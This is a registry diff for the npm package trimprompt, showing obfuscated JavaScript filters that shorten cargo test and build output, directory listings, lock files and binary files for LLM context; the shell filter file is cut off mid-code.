trimprompt 1.0.35 → 1.0.37

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x17eb(){const _0x19b3b1=['\x0aFailures:','\x0aWarnings:','\x20\x20\x20\x20','filter','join','slice','172459zwnDHw','\x0aErrors:','216LLZyME','Cargo\x20test:\x20','match','\x20crates\x20successfully','replace','failures:','endsWith','\x20ignored','includes','3669980XQdZIG','\x20crates,\x20','\x20more\x20errors','12Euvztr','\x20\x20...\x20+','length','30qhssQX','\x20failed,\x20','error[','\x20more\x20failures','222340wTiUFG','Cargo:\x20','panicked','defineProperty','push','Cargo:\x20compiled\x20','left:','----\x20failures\x20----','\x20passed','3004476zNLhBq','error:','trim','\x20warnings','split','200436VCCwcG','64ZwCDsl','warning:','startsWith','\x20passed,\x20','Compiling\x20','19OdWpFg','4426741tJqdIH','42332yunmxB','----\x20'];a0_0x17eb=function(){return _0x19b3b1;};return a0_0x17eb();}function a0_0x3eb7(_0x29ca91,_0x4d4478){_0x29ca91=_0x29ca91-0x7a;const _0x17eb17=a0_0x17eb();let _0x3eb76d=_0x17eb17[_0x29ca91];return _0x3eb76d;}const a0_0x3c82bc=a0_0x3eb7;(function(_0x3de583,_0x1abf77){const _0x3cf6f6=a0_0x3eb7,_0x4cb3e7=_0x3de583();while(!![]){try{const _0x51b8a0=parseInt(_0x3cf6f6(0x89))/0x1*(parseInt(_0x3cf6f6(0x8b))/0x2)+-parseInt(_0x3cf6f6(0xa4))/0x3*(-parseInt(_0x3cf6f6(0x83))/0x4)+-parseInt(_0x3cf6f6(0x9e))/0x5+-parseInt(_0x3cf6f6(0x7e))/0x6+parseInt(_0x3cf6f6(0x93))/0x7*(-parseInt(_0x3cf6f6(0x84))/0x8)+-parseInt(_0x3cf6f6(0x95))/0x9*(-parseInt(_0x3cf6f6(0xa8))/0xa)+-parseInt(_0x3cf6f6(0x8a))/0xb*(-parseInt(_0x3cf6f6(0xa1))/0xc);if(_0x51b8a0===_0x1abf77)break;else _0x4cb3e7['push'](_0x4cb3e7['shift']());}catch(_0x58fbee){_0x4cb3e7['push'](_0x4cb3e7['shift']());}}}(a0_0x17eb,0x6379d));Object[a0_0x3c82bc(0xab)](exports,'__esModule',{'value':!![]}),exports['filterCargoTest']=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function filterCargoTest(_0x1821a3){const _0x3ea46e=a0_0x3c82bc,_0x2105ef=_0x1821a3[_0x3ea46e(0x82)]('\x0a');let _0x178945=0x0,_0x303980=0x0,_0x1cda6f=0x0,_0x30da91=0x0;const _0x3dd8ba=[];let _0x106f31=![],_0x2e8d84=[];for(const _0xaaa45f of _0x2105ef){const _0x6d3aa9=_0xaaa45f[_0x3ea46e(0x80)](),_0x1ae52b=_0x6d3aa9[_0x3ea46e(0x97)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x1ae52b){_0x178945+=parseInt(_0x1ae52b[0x2]),_0x303980+=parseInt(_0x1ae52b[0x3]),_0x1cda6f+=parseInt(_0x1ae52b[0x4]),_0x30da91+=parseInt(_0x1ae52b[0x5]);continue;}if(_0x6d3aa9===_0x3ea46e(0x9a)||_0x6d3aa9===_0x3ea46e(0x7c)){_0x106f31=!![];continue;}if(_0x106f31){if(_0x6d3aa9[_0x3ea46e(0x86)](_0x3ea46e(0x8c))&&_0x6d3aa9[_0x3ea46e(0x9b)]('\x20----')){if(_0x2e8d84['length']>0x0)_0x3dd8ba[_0x3ea46e(0xac)](_0x2e8d84['join']('\x0a'));_0x2e8d84=[_0x6d3aa9[_0x3ea46e(0x99)](/^-+\s*/,'')[_0x3ea46e(0x99)](/\s*-+$/,'')];}else{if(_0x6d3aa9===_0x3ea46e(0x9a)||_0x6d3aa9[_0x3ea46e(0x86)]('test\x20result:')){if(_0x2e8d84[_0x3ea46e(0xa3)]>0x0)_0x3dd8ba['push'](_0x2e8d84[_0x3ea46e(0x91)]('\x0a'));_0x2e8d84=[],_0x106f31=![];}else _0x6d3aa9[_0x3ea46e(0xa3)]>0x0&&_0x2e8d84[_0x3ea46e(0xac)](_0xaaa45f);}}}if(_0x2e8d84[_0x3ea46e(0xa3)]>0x0)_0x3dd8ba['push'](_0x2e8d84[_0x3ea46e(0x91)]('\x0a'));if(_0x178945===0x0&&_0x303980===0x0&&_0x1cda6f===0x0){if(_0x1821a3[_0x3ea46e(0x9d)]('test\x20result:\x20ok'))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0x1821a3;}if(_0x303980===0x0){const _0x523383=[_0x3ea46e(0x96)+_0x178945+_0x3ea46e(0x7d)];if(_0x1cda6f>0x0)_0x523383[_0x3ea46e(0xac)](_0x1cda6f+_0x3ea46e(0x9c));return _0x523383[_0x3ea46e(0x91)](',\x20');}const _0x251cd5=[_0x3ea46e(0x96)+_0x178945+_0x3ea46e(0x87)+_0x303980+_0x3ea46e(0xa5)+_0x1cda6f+_0x3ea46e(0x9c)];if(_0x3dd8ba[_0x3ea46e(0xa3)]>0x0){_0x251cd5[_0x3ea46e(0xac)](_0x3ea46e(0x8d));const _0x4fbd55=0x3;for(let _0x9de4b0=0x0;_0x9de4b0<Math['min'](_0x3dd8ba[_0x3ea46e(0xa3)],_0x4fbd55);_0x9de4b0++){const _0x2506ef=_0x3dd8ba[_0x9de4b0][_0x3ea46e(0x82)]('\x0a');_0x251cd5['push']('\x20\x20'+(_0x9de4b0+0x1)+'.\x20'+_0x2506ef[0x0]);const _0x50ae3b=_0x2506ef[_0x3ea46e(0x92)](0x1),_0x178cb9=_0x50ae3b[_0x3ea46e(0x90)](_0x172457=>_0x172457['trim']()[_0x3ea46e(0x86)]('thread')||_0x172457[_0x3ea46e(0x9d)](_0x3ea46e(0xaa))||_0x172457['includes']('assert')||_0x172457[_0x3ea46e(0x9d)](_0x3ea46e(0x7b))||_0x172457[_0x3ea46e(0x9d)]('right:'));for(const _0x2e5b88 of _0x178cb9['slice'](0x0,0x5)){_0x251cd5[_0x3ea46e(0xac)](_0x3ea46e(0x8f)+_0x2e5b88['trim']());}}_0x3dd8ba[_0x3ea46e(0xa3)]>_0x4fbd55&&_0x251cd5[_0x3ea46e(0xac)](_0x3ea46e(0xa2)+(_0x3dd8ba[_0x3ea46e(0xa3)]-_0x4fbd55)+_0x3ea46e(0xa7));}return _0x251cd5['join']('\x0a');}function filterCargoBuild(_0x572082){const _0x239720=a0_0x3c82bc,_0x5e6c2b=_0x572082[_0x239720(0x82)]('\x0a'),_0xfb0b5e=[],_0x11750f=[];let _0xba8f8c=0x0;for(const _0x10aa12 of _0x5e6c2b){const _0x4c8618=_0x10aa12['trim']();if(_0x4c8618[_0x239720(0x86)](_0x239720(0x88)))_0xba8f8c++;else{if(_0x4c8618[_0x239720(0x86)]('warning[')||_0x4c8618[_0x239720(0x86)](_0x239720(0x85)))_0xfb0b5e[_0x239720(0xac)](_0x4c8618);else{if(_0x4c8618[_0x239720(0x86)](_0x239720(0xa6))||_0x4c8618[_0x239720(0x86)](_0x239720(0x7f)))_0x11750f[_0x239720(0xac)](_0x4c8618);}}}if(_0x11750f[_0x239720(0xa3)]===0x0&&_0xfb0b5e[_0x239720(0xa3)]===0x0)return _0xba8f8c>0x0?_0x239720(0x7a)+_0xba8f8c+_0x239720(0x98):_0x572082[_0x239720(0x80)]();const _0x19c534=[];if(_0x11750f[_0x239720(0xa3)]>0x0){_0x19c534[_0x239720(0xac)](_0x239720(0xa9)+_0x11750f[_0x239720(0xa3)]+'\x20errors,\x20'+_0xfb0b5e[_0x239720(0xa3)]+'\x20warnings'),_0x19c534[_0x239720(0xac)](_0x239720(0x94));for(const _0x47a314 of _0x11750f[_0x239720(0x92)](0x0,0x5))_0x19c534[_0x239720(0xac)]('\x20\x20'+_0x47a314);if(_0x11750f[_0x239720(0xa3)]>0x5)_0x19c534[_0x239720(0xac)]('\x20\x20...\x20+'+(_0x11750f[_0x239720(0xa3)]-0x5)+_0x239720(0xa0));}else _0x19c534[_0x239720(0xac)](_0x239720(0x7a)+_0xba8f8c+_0x239720(0x9f)+_0xfb0b5e[_0x239720(0xa3)]+_0x239720(0x81));if(_0xfb0b5e['length']>0x0&&_0xfb0b5e['length']<=0x5){_0x19c534['push'](_0x239720(0x8e));for(const _0x5ee982 of _0xfb0b5e)_0x19c534[_0x239720(0xac)]('\x20\x20'+_0x5ee982);}else _0xfb0b5e[_0x239720(0xa3)]>0x5&&_0x19c534[_0x239720(0xac)]('\x0a('+_0xfb0b5e[_0x239720(0xa3)]+'\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)');return _0x19c534[_0x239720(0x91)]('\x0a');}
1
+ 'use strict';function a0_0x41bc(){const _0x40a365=['startsWith','test\x20result:\x20ok','error[','31474iwwBrg','1608593sJwrBS','\x20\x20...\x20+','97446IZvnwA','trim','1648OpsCuD','2675VTKEei','\x20\x20\x20\x20','length','test\x20result:','\x20passed','\x20warnings','----\x20failures\x20----','error:','\x20more\x20errors','__esModule','match','\x20errors,\x20','warning[','----\x20','slice','failures:','filterCargoBuild','\x20more\x20failures','20IhffLb','\x0aFailures:','replace','Cargo:\x20compiled\x20','\x0aErrors:','endsWith','\x20failed,\x20','2065512UWnTmG','\x20crates\x20successfully','includes','Cargo:\x20','filter','split','Compiling\x20','join','\x0aWarnings:','min','left:','push','1808559kbbMaa','filterCargoTest','panicked','Cargo\x20test:\x20','971394xzgLVL','7qsdzpJ'];a0_0x41bc=function(){return _0x40a365;};return a0_0x41bc();}const a0_0x446a06=a0_0x35ee;(function(_0x585023,_0x5e5499){const _0x20d3c8=a0_0x35ee,_0x2a01fa=_0x585023();while(!![]){try{const _0x50a7d7=-parseInt(_0x20d3c8(0xef))/0x1*(parseInt(_0x20d3c8(0xf3))/0x2)+-parseInt(_0x20d3c8(0xf6))/0x3+parseInt(_0x20d3c8(0xf8))/0x4*(parseInt(_0x20d3c8(0xf9))/0x5)+parseInt(_0x20d3c8(0xee))/0x6+-parseInt(_0x20d3c8(0xf4))/0x7+-parseInt(_0x20d3c8(0xde))/0x8+-parseInt(_0x20d3c8(0xea))/0x9*(-parseInt(_0x20d3c8(0xd7))/0xa);if(_0x50a7d7===_0x5e5499)break;else _0x2a01fa['push'](_0x2a01fa['shift']());}catch(_0x1548a1){_0x2a01fa['push'](_0x2a01fa['shift']());}}}(a0_0x41bc,0x257f8));Object['defineProperty'](exports,a0_0x446a06(0xce),{'value':!![]}),exports[a0_0x446a06(0xeb)]=filterCargoTest,exports[a0_0x446a06(0xd5)]=filterCargoBuild;function a0_0x35ee(_0x197979,_0x3ed798){const _0x41bc4e=a0_0x41bc();return a0_0x35ee=function(_0x35eecf,_0x20bcd0){_0x35eecf=_0x35eecf-0xca;let _0x186c7e=_0x41bc4e[_0x35eecf];return _0x186c7e;},a0_0x35ee(_0x197979,_0x3ed798);}function filterCargoTest(_0x4ede73){const _0x333544=a0_0x446a06,_0x2f36fd=_0x4ede73[_0x333544(0xe3)]('\x0a');let _0x42569e=0x0,_0x1cc3f4=0x0,_0x1cae8a=0x0,_0xf0c7f4=0x0;const _0x2cd373=[];let _0x1982d5=![],_0x129bbe=[];for(const _0x465e44 of _0x2f36fd){const _0x340591=_0x465e44[_0x333544(0xf7)](),_0x157254=_0x340591[_0x333544(0xcf)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x157254){_0x42569e+=parseInt(_0x157254[0x2]),_0x1cc3f4+=parseInt(_0x157254[0x3]),_0x1cae8a+=parseInt(_0x157254[0x4]),_0xf0c7f4+=parseInt(_0x157254[0x5]);continue;}if(_0x340591===_0x333544(0xd4)||_0x340591===_0x333544(0xcb)){_0x1982d5=!![];continue;}if(_0x1982d5){if(_0x340591[_0x333544(0xf0)](_0x333544(0xd2))&&_0x340591[_0x333544(0xdc)]('\x20----')){if(_0x129bbe['length']>0x0)_0x2cd373['push'](_0x129bbe[_0x333544(0xe5)]('\x0a'));_0x129bbe=[_0x340591[_0x333544(0xd9)](/^-+\s*/,'')[_0x333544(0xd9)](/\s*-+$/,'')];}else{if(_0x340591==='failures:'||_0x340591[_0x333544(0xf0)](_0x333544(0xfc))){if(_0x129bbe[_0x333544(0xfb)]>0x0)_0x2cd373[_0x333544(0xe9)](_0x129bbe['join']('\x0a'));_0x129bbe=[],_0x1982d5=![];}else _0x340591[_0x333544(0xfb)]>0x0&&_0x129bbe[_0x333544(0xe9)](_0x465e44);}}}if(_0x129bbe[_0x333544(0xfb)]>0x0)_0x2cd373['push'](_0x129bbe[_0x333544(0xe5)]('\x0a'));if(_0x42569e===0x0&&_0x1cc3f4===0x0&&_0x1cae8a===0x0){if(_0x4ede73[_0x333544(0xe0)](_0x333544(0xf1)))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0x4ede73;}if(_0x1cc3f4===0x0){const _0x8677ae=[_0x333544(0xed)+_0x42569e+_0x333544(0xfd)];if(_0x1cae8a>0x0)_0x8677ae[_0x333544(0xe9)](_0x1cae8a+'\x20ignored');return _0x8677ae[_0x333544(0xe5)](',\x20');}const _0x17028b=['Cargo\x20test:\x20'+_0x42569e+'\x20passed,\x20'+_0x1cc3f4+_0x333544(0xdd)+_0x1cae8a+'\x20ignored'];if(_0x2cd373[_0x333544(0xfb)]>0x0){_0x17028b[_0x333544(0xe9)](_0x333544(0xd8));const _0x5561b8=0x3;for(let _0x494928=0x0;_0x494928<Math[_0x333544(0xe7)](_0x2cd373[_0x333544(0xfb)],_0x5561b8);_0x494928++){const _0x28d9f8=_0x2cd373[_0x494928][_0x333544(0xe3)]('\x0a');_0x17028b['push']('\x20\x20'+(_0x494928+0x1)+'.\x20'+_0x28d9f8[0x0]);const _0x3d307f=_0x28d9f8[_0x333544(0xd3)](0x1),_0x4a3dff=_0x3d307f[_0x333544(0xe2)](_0x6a0af=>_0x6a0af[_0x333544(0xf7)]()['startsWith']('thread')||_0x6a0af[_0x333544(0xe0)](_0x333544(0xec))||_0x6a0af[_0x333544(0xe0)]('assert')||_0x6a0af[_0x333544(0xe0)](_0x333544(0xe8))||_0x6a0af[_0x333544(0xe0)]('right:'));for(const _0x4ed819 of _0x4a3dff[_0x333544(0xd3)](0x0,0x5)){_0x17028b[_0x333544(0xe9)](_0x333544(0xfa)+_0x4ed819[_0x333544(0xf7)]());}}_0x2cd373[_0x333544(0xfb)]>_0x5561b8&&_0x17028b['push'](_0x333544(0xf5)+(_0x2cd373[_0x333544(0xfb)]-_0x5561b8)+_0x333544(0xd6));}return _0x17028b[_0x333544(0xe5)]('\x0a');}function filterCargoBuild(_0xa6fb32){const _0x223e2b=a0_0x446a06,_0x14c674=_0xa6fb32[_0x223e2b(0xe3)]('\x0a'),_0x2d780e=[],_0x2a013d=[];let _0x21f3e3=0x0;for(const _0x2011ea of _0x14c674){const _0x5afdd3=_0x2011ea[_0x223e2b(0xf7)]();if(_0x5afdd3['startsWith'](_0x223e2b(0xe4)))_0x21f3e3++;else{if(_0x5afdd3[_0x223e2b(0xf0)](_0x223e2b(0xd1))||_0x5afdd3[_0x223e2b(0xf0)]('warning:'))_0x2d780e['push'](_0x5afdd3);else{if(_0x5afdd3[_0x223e2b(0xf0)](_0x223e2b(0xf2))||_0x5afdd3[_0x223e2b(0xf0)](_0x223e2b(0xcc)))_0x2a013d[_0x223e2b(0xe9)](_0x5afdd3);}}}if(_0x2a013d[_0x223e2b(0xfb)]===0x0&&_0x2d780e[_0x223e2b(0xfb)]===0x0)return _0x21f3e3>0x0?'Cargo:\x20compiled\x20'+_0x21f3e3+_0x223e2b(0xdf):_0xa6fb32['trim']();const _0x34fab9=[];if(_0x2a013d[_0x223e2b(0xfb)]>0x0){_0x34fab9['push'](_0x223e2b(0xe1)+_0x2a013d['length']+_0x223e2b(0xd0)+_0x2d780e[_0x223e2b(0xfb)]+_0x223e2b(0xca)),_0x34fab9[_0x223e2b(0xe9)](_0x223e2b(0xdb));for(const _0x1fab73 of _0x2a013d[_0x223e2b(0xd3)](0x0,0x5))_0x34fab9[_0x223e2b(0xe9)]('\x20\x20'+_0x1fab73);if(_0x2a013d['length']>0x5)_0x34fab9[_0x223e2b(0xe9)](_0x223e2b(0xf5)+(_0x2a013d[_0x223e2b(0xfb)]-0x5)+_0x223e2b(0xcd));}else _0x34fab9[_0x223e2b(0xe9)](_0x223e2b(0xda)+_0x21f3e3+'\x20crates,\x20'+_0x2d780e[_0x223e2b(0xfb)]+'\x20warnings');if(_0x2d780e[_0x223e2b(0xfb)]>0x0&&_0x2d780e[_0x223e2b(0xfb)]<=0x5){_0x34fab9[_0x223e2b(0xe9)](_0x223e2b(0xe6));for(const _0x51972d of _0x2d780e)_0x34fab9[_0x223e2b(0xe9)]('\x20\x20'+_0x51972d);}else _0x2d780e[_0x223e2b(0xfb)]>0x5&&_0x34fab9['push']('\x0a('+_0x2d780e['length']+'\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)');return _0x34fab9['join']('\x0a');}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x8457ad=a0_0x1ef1;(function(_0x456040,_0x20d856){const _0x4a68c9=a0_0x1ef1,_0x109d56=_0x456040();while(!![]){try{const _0x4a4357=parseInt(_0x4a68c9(0x229))/0x1*(parseInt(_0x4a68c9(0x22a))/0x2)+-parseInt(_0x4a68c9(0x1e7))/0x3+parseInt(_0x4a68c9(0x274))/0x4*(-parseInt(_0x4a68c9(0x25c))/0x5)+-parseInt(_0x4a68c9(0x23b))/0x6*(parseInt(_0x4a68c9(0x246))/0x7)+-parseInt(_0x4a68c9(0x207))/0x8+-parseInt(_0x4a68c9(0x24a))/0x9*(-parseInt(_0x4a68c9(0x1fa))/0xa)+-parseInt(_0x4a68c9(0x240))/0xb*(-parseInt(_0x4a68c9(0x228))/0xc);if(_0x4a4357===_0x20d856)break;else _0x109d56['push'](_0x109d56['shift']());}catch(_0x5ce0bd){_0x109d56['push'](_0x109d56['shift']());}}}(a0_0x5255,0xeff65));var __createBinding=this&&this[a0_0x8457ad(0x26d)]||(Object[a0_0x8457ad(0x1f6)]?function(_0x5be8fb,_0x4edfb7,_0xab3f31,_0x22541b){const _0x1649df=a0_0x8457ad;if(_0x22541b===undefined)_0x22541b=_0xab3f31;var _0xb10d1=Object['getOwnPropertyDescriptor'](_0x4edfb7,_0xab3f31);(!_0xb10d1||(_0x1649df(0x1eb)in _0xb10d1?!_0x4edfb7[_0x1649df(0x206)]:_0xb10d1['writable']||_0xb10d1[_0x1649df(0x233)]))&&(_0xb10d1={'enumerable':!![],'get':function(){return _0x4edfb7[_0xab3f31];}}),Object[_0x1649df(0x1f7)](_0x5be8fb,_0x22541b,_0xb10d1);}:function(_0x496a28,_0x2964a1,_0x35cb28,_0x1bdc19){if(_0x1bdc19===undefined)_0x1bdc19=_0x35cb28;_0x496a28[_0x1bdc19]=_0x2964a1[_0x35cb28];}),__setModuleDefault=this&&this[a0_0x8457ad(0x217)]||(Object[a0_0x8457ad(0x1f6)]?function(_0x399e54,_0x49cc90){const _0x7a55c3=a0_0x8457ad;Object[_0x7a55c3(0x1f7)](_0x399e54,'default',{'enumerable':!![],'value':_0x49cc90});}:function(_0x544c79,_0x18e870){const _0xf1665e=a0_0x8457ad;_0x544c79[_0xf1665e(0x21b)]=_0x18e870;}),__importStar=this&&this[a0_0x8457ad(0x21e)]||(function(){var _0x8c0f7e=function(_0x37877b){const _0x288946=a0_0x1ef1;return _0x8c0f7e=Object[_0x288946(0x1e9)]||function(_0x3d91c8){const _0x1d3ce1=_0x288946;var _0x500ab4=[];for(var _0x263304 in _0x3d91c8)if(Object[_0x1d3ce1(0x204)][_0x1d3ce1(0x23f)]['call'](_0x3d91c8,_0x263304))_0x500ab4[_0x500ab4[_0x1d3ce1(0x227)]]=_0x263304;return _0x500ab4;},_0x8c0f7e(_0x37877b);};return function(_0x3e9f58){if(_0x3e9f58&&_0x3e9f58['__esModule'])return _0x3e9f58;var _0x277aa8={};if(_0x3e9f58!=null){for(var _0x3e0f8c=_0x8c0f7e(_0x3e9f58),_0x37daed=0x0;_0x37daed<_0x3e0f8c['length'];_0x37daed++)if(_0x3e0f8c[_0x37daed]!=='default')__createBinding(_0x277aa8,_0x3e9f58,_0x3e0f8c[_0x37daed]);}return __setModuleDefault(_0x277aa8,_0x3e9f58),_0x277aa8;};}());Object[a0_0x8457ad(0x1f7)](exports,a0_0x8457ad(0x206),{'value':!![]}),exports[a0_0x8457ad(0x234)]=filterLs,exports['filterTree']=filterTree,exports[a0_0x8457ad(0x20e)]=filterCat,exports['filterGrep']=filterGrep,exports[a0_0x8457ad(0x277)]=filterFind;const path=__importStar(require(a0_0x8457ad(0x265))),generic_1=require(a0_0x8457ad(0x26c)),tracker_1=require('../tracker');function a0_0x5255(){const _0x132f0c=['.woff','filter','2037tqkMiK','\x0a...\x20[','entries','.bz2','607626yTLrLu','stripComments','.py','\x20matches\x20across\x20','#include\x20','smartCrushJson','.cpp','Cargo.lock','\x20matches\x20in\x20this\x20file)','\x20lines\x20truncated]\x20...\x0a','.class','.woff2','\x20dependencies,\x20','yarn.lock','Gemfile.lock','package\x20','stringify','.gif','330eLXhzj','.obj','\x0a...\x20(',':\x20...\x20(','[binary/minified\x20file]\x20','.tgz','.js','charCodeAt','\x20directories,\x20','path','push','.ico','composer.lock','.pyo','includes','pnpm-lock.yaml','./generic','__createBinding','.kt','floor','.mp3','.zip','\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)','export\x20','103464nzBcWY','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','.so','filterFind','.dll','\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)','.tsx','.rar','.pdf','parse','\x20chars\x20across\x20','.webp','startsWith','.pyc','1011117ojMdKz','dirname','getOwnPropertyNames','No\x20matches\x20found','get','.min.css','\x20lines)','.exe','package-lock.json','getConfig','.go','.map','features_enabled','.webm','.cs','create','defineProperty','\x20structural\x20lines\x20shown)','[binary\x20file]\x20','190jOErRn','binary','poetry.lock','sort','No\x20files\x20found','\x20more\x20files','.bin','\x20lines\x20total,\x20','packages','.mp4','prototype','toLocaleString','__esModule','1742448YnwPup','.sqlite','.mov','@return','.wav','.avi','.png','filterCat','.gz','match','Empty\x20directory','.ts','\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)','\x20lines\x20total)','split','indexOf','__setModuleDefault','.ttf','.jpeg','\x20files\x20found\x20across\x20','default','.jsx','\x20\x20...\x20+','__importStar','total\x20','\x20more\x20files\x20with\x20matches','.eot','.rb','.7z','join','keys','\x20files)','length','1056tiQLbJ','1oZoSgj','340846XwjgGP','extname','@param','.db','use\x20','.jpg','slice','\x20chars,\x20type:\x20','trim','configurable','filterLs','skeleton','go.sum','.dat','.bmp','json_crusher','cargo.lock','8190oHiVMp','\x20more\x20directories','toLowerCase','tracker','hasOwnProperty','273614nOiDCO','...\x20+','endsWith','basename'];a0_0x5255=function(){return _0x132f0c;};return a0_0x5255();}function isFeatureEnabled(_0x36ddcc){const _0x4b8f85=a0_0x8457ad;try{const _0x495da2=tracker_1[_0x4b8f85(0x23e)][_0x4b8f85(0x1f0)](),_0x1bd0ae=_0x495da2[_0x4b8f85(0x1f3)];if(!_0x1bd0ae||_0x1bd0ae[_0x36ddcc]===undefined)return!![];return _0x1bd0ae[_0x36ddcc]!==![];}catch{return!![];}}const LOCK_FILES=[a0_0x8457ad(0x1ef),a0_0x8457ad(0x257),'pnpm-lock.yaml',a0_0x8457ad(0x251),a0_0x8457ad(0x236),a0_0x8457ad(0x1fc),a0_0x8457ad(0x268),a0_0x8457ad(0x258),'bun.lockb'],BINARY_EXTENSIONS=['.min.js',a0_0x8457ad(0x1ec),a0_0x8457ad(0x1f2),'.wasm',a0_0x8457ad(0x20d),a0_0x8457ad(0x22f),a0_0x8457ad(0x219),a0_0x8457ad(0x25b),a0_0x8457ad(0x267),a0_0x8457ad(0x238),a0_0x8457ad(0x1e4),'.svg',a0_0x8457ad(0x1e1),a0_0x8457ad(0x271),'.tar.gz',a0_0x8457ad(0x261),a0_0x8457ad(0x20f),a0_0x8457ad(0x249),a0_0x8457ad(0x223),a0_0x8457ad(0x1e0),a0_0x8457ad(0x1ee),a0_0x8457ad(0x278),a0_0x8457ad(0x276),'.dylib',a0_0x8457ad(0x200),a0_0x8457ad(0x237),a0_0x8457ad(0x208),a0_0x8457ad(0x22d),'.sqlite3',a0_0x8457ad(0x244),a0_0x8457ad(0x255),a0_0x8457ad(0x218),a0_0x8457ad(0x221),'.otf',a0_0x8457ad(0x270),a0_0x8457ad(0x203),a0_0x8457ad(0x20b),a0_0x8457ad(0x20c),a0_0x8457ad(0x209),a0_0x8457ad(0x1f4),a0_0x8457ad(0x1e6),a0_0x8457ad(0x269),a0_0x8457ad(0x254),'.o',a0_0x8457ad(0x25d)];function a0_0x1ef1(_0x587c4a,_0xa7f9ea){_0x587c4a=_0x587c4a-0x1de;const _0x5255d0=a0_0x5255();let _0x1ef1fe=_0x5255d0[_0x587c4a];return _0x1ef1fe;}function extractFilename(_0x18e281){const _0x307076=a0_0x8457ad,_0x368d72=_0x18e281[_0x307076(0x232)]()[_0x307076(0x215)](/\s+/);for(let _0x25dcec=0x1;_0x25dcec<_0x368d72[_0x307076(0x227)];_0x25dcec++){if(!_0x368d72[_0x25dcec]['startsWith']('-'))return _0x368d72[_0x25dcec];}return null;}function filterLockFile(_0x545679,_0x1453ab){const _0x3d7502=a0_0x8457ad;try{const _0x32a4ff=path[_0x3d7502(0x243)](_0x1453ab)[_0x3d7502(0x23d)]();if(!LOCK_FILES['some'](_0x262bae=>_0x32a4ff===_0x262bae[_0x3d7502(0x23d)]()))return null;const _0x24e5e3=_0x545679[_0x3d7502(0x227)];let _0x3a0be5=0x0;if(_0x32a4ff==='package-lock.json')try{const _0x29aaae=JSON['parse'](_0x545679);_0x3a0be5=Object[_0x3d7502(0x225)](_0x29aaae[_0x3d7502(0x202)]||_0x29aaae['dependencies']||{})[_0x3d7502(0x227)];}catch{_0x3a0be5=(_0x545679[_0x3d7502(0x210)](/"resolved":/g)||[])[_0x3d7502(0x227)];}else{if(_0x32a4ff===_0x3d7502(0x257))_0x3a0be5=(_0x545679['match'](/^"?[^#\s][^:]*:$/gm)||[])['length'];else{if(_0x32a4ff===_0x3d7502(0x23a)||_0x32a4ff===_0x3d7502(0x1fc))_0x3a0be5=(_0x545679[_0x3d7502(0x210)](/\[\[package\]\]/g)||[])[_0x3d7502(0x227)];else{if(_0x32a4ff===_0x3d7502(0x236))_0x3a0be5=Math[_0x3d7502(0x26f)](_0x545679[_0x3d7502(0x215)]('\x0a')['filter'](_0x1e1bf9=>_0x1e1bf9['trim']())[_0x3d7502(0x227)]/0x2);else{if(_0x32a4ff===_0x3d7502(0x268))try{_0x3a0be5=JSON[_0x3d7502(0x1e2)](_0x545679)[_0x3d7502(0x202)]?.['length']||0x0;}catch{}else _0x32a4ff===_0x3d7502(0x26b)?_0x3a0be5=(_0x545679[_0x3d7502(0x210)](/^\s{2}['"@a-z]/gm)||[])[_0x3d7502(0x227)]:_0x3a0be5=_0x545679[_0x3d7502(0x215)]('\x0a')[_0x3d7502(0x245)](_0x5812ce=>_0x5812ce['trim']())[_0x3d7502(0x227)];}}}}return'[lock\x20file]\x20'+path[_0x3d7502(0x243)](_0x1453ab)+':\x20'+_0x3a0be5+_0x3d7502(0x256)+_0x24e5e3['toLocaleString']()+'\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)';}catch{return null;}}function filterBinaryOrMinified(_0x572fcd,_0x2a14a5){const _0x20cee6=a0_0x8457ad;try{if(_0x2a14a5){const _0x18efe8=_0x2a14a5[_0x20cee6(0x23d)]();for(const _0x177c68 of BINARY_EXTENSIONS){if(_0x18efe8[_0x20cee6(0x242)](_0x177c68))return _0x20cee6(0x260)+path[_0x20cee6(0x243)](_0x2a14a5)+',\x20'+_0x572fcd[_0x20cee6(0x227)][_0x20cee6(0x205)]()+_0x20cee6(0x231)+_0x177c68+'\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)';}}const _0x5de902=_0x572fcd['substring'](0x0,0x3e8);let _0x1d4fae=0x0;for(let _0x247d9e=0x0;_0x247d9e<_0x5de902['length'];_0x247d9e++){if(_0x5de902[_0x20cee6(0x263)](_0x247d9e)===0x0)_0x1d4fae++;}if(_0x1d4fae>0x0)return _0x20cee6(0x1f9)+_0x572fcd[_0x20cee6(0x227)][_0x20cee6(0x205)]()+_0x20cee6(0x272);let _0x14db8c=0x0;for(let _0x37a22b=0x0;_0x37a22b<_0x5de902[_0x20cee6(0x227)];_0x37a22b++){const _0xe60613=_0x5de902[_0x20cee6(0x263)](_0x37a22b);if(_0xe60613<0x20&&_0xe60613!==0xa&&_0xe60613!==0xd&&_0xe60613!==0x9)_0x14db8c++;}if(_0x5de902[_0x20cee6(0x227)]>0x64&&_0x14db8c>_0x5de902['length']*0.1)return'[binary\x20file]\x20'+_0x572fcd[_0x20cee6(0x227)]['toLocaleString']()+_0x20cee6(0x1de);const 